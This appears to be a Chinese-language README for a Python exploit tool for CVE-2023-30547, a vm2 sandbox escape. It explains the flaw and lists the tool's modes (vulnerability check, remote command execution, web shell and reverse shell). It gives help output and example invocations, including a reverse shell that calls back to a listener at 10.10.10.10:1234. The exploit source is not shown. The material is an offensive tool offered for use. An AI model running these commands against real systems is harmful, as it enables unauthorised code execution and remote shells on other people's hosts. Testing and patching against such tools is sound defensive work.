
vm2 是一个沙箱,可以使用白名单中的 Node 内置模块运行不受信任的代码。
在版本不超过 3.9.16 的 vm2 中,异常净化(exception sanitization)存在一个漏洞,允许攻击者在 handleException() 内部引发未经净化的主机异常,从而利用该异常逃逸沙箱并在主机上下文中执行任意代码。
该工具是一个简单的 Python 脚本,可用于探索此漏洞。它有 4 种模式:
check:检查目标是否存在漏洞。command_execution_execution:在目标上执行命令。web_shell:在目标上打开 Web Shell。reverse_shell:在目标上打开反向 Shell。usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'